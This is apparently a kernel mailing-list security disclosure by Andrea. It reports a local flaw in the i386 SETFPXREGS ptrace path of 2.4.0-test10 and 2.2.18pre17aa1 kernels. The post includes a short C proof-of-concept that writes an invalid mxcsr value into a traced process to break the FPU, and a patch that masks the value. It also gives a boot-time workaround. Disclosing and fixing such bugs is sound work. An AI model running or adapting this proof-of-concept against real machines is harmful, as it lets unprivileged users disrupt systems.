While auditing the PIII-4 patch for 2.2.x I found a local security problem in
SETFPXREGS that affects 2.4.0-test10 too when it's compiled for PIII
processors and run on a PIII CPU. The problem is that any user can break the
FPU by uploading into the kernel a not valid mxcsr value.

I verified with this proggy:

struct user_fxsr_struct {
        unsigned short  cwd;
        unsigned short  swd;
        unsigned short  twd;
        unsigned short  fop;
        long    fip;
        long    fcs;
        long    foo;
        long    fos;
        long    mxcsr;
        long    reserved;
        long    st_space[32];   /* 8*16 bytes for each FP-reg = 128 bytes */
        long    xmm_space[32];  /* 8*16 bytes for each XMM-reg = 128 bytes */
        long    padding[56];
};

main()
{
        struct user_fxsr_struct fxsr;
        int pid = fork();

        if (pid < 0)
                perror("fork"), exit(1);
        else if (!pid) {
                for (;;)
                        __asm__("fninit");
        }

        if (ptrace(0x10, pid, 0, 0) < 0)
                perror("attach"), exit(1);
        memset(&fxsr, 0xff, sizeof(struct user_fxsr_struct));
        waitpid(pid, 0, 0);
        if (ptrace(19, pid, 0, &fxsr))
                perror("setfxsr"), exit(1);
        if (ptrace(0x11, pid, 0, 17) < 0)
                perror("detach"), exit(1);
}

This is the fix against 2.4.0-test10, please include.

--- 2.4.0-test10/arch/i386/kernel/i387.c        Thu Nov  2 20:58:58 2000
+++ PIII/arch/i386/kernel/i387.c        Thu Nov  2 18:44:36 2000
@@ -440,8 +436,25 @@
 int set_fpxregs( struct task_struct *tsk, struct user_fxsr_struct *buf )
 {
        if ( HAVE_FXSR ) {
-               __copy_from_user( &tsk->thread.i387.fxsave, (void *)buf,
-                                 sizeof(struct user_fxsr_struct) );
+               long mxcsr;
+
+               if (__copy_from_user(&tsk->thread.i387.fxsave, (void *)buf,
+                                    (long) &((struct user_fxsr_struct *)
+                                             0)->mxcsr))
+                       return -EFAULT;
+               if (__get_user(mxcsr,
+                              &((struct user_fxsr_struct *) buf)->mxcsr))
+                       return -EFAULT;
+               /* bit 6 and 31-16 must be zero for security reasons */
+               mxcsr &= 0xffbf;
+               tsk->thread.i387.fxsave.mxcsr = mxcsr;
+               if (__copy_from_user(&tsk->thread.i387.fxsave.reserved,
+                                    &((struct user_fxsr_struct *)
+                                      buf)->reserved,
+                                    sizeof(struct user_fxsr_struct)-
+                                    (long) &((struct user_fxsr_struct *)
+                                             0)->reserved))
+                       return -EFAULT;
                return 0;
        } else {
                return -EIO;


Downloadable also from here:

        
ftp://ftp.us.kernel.org/pub/linux/kernel/people/andrea/patches/v2.4/2.4.0-test10/SETFPXREGS-fix-1

Users of 2.2.18pre17aa1 running their kernel on a PIII cpu are affected as well.
Workaround is to boot with the `nofxsr' parameter (with the downside that
PIII instructions to be inibithed like in vanilla 2.2.x), real fix is to
backout the PIII-4 patch from 2.2.18pre17aa1 and apply this new one:

        
ftp://ftp.us.kernel.org/pub/linux/kernel/people/andrea/patches/v2.2/2.2.18pre19/PIII-5.bz2

PIII-5 also merges some worthwhile diff from Doug, thanks!

Andrea
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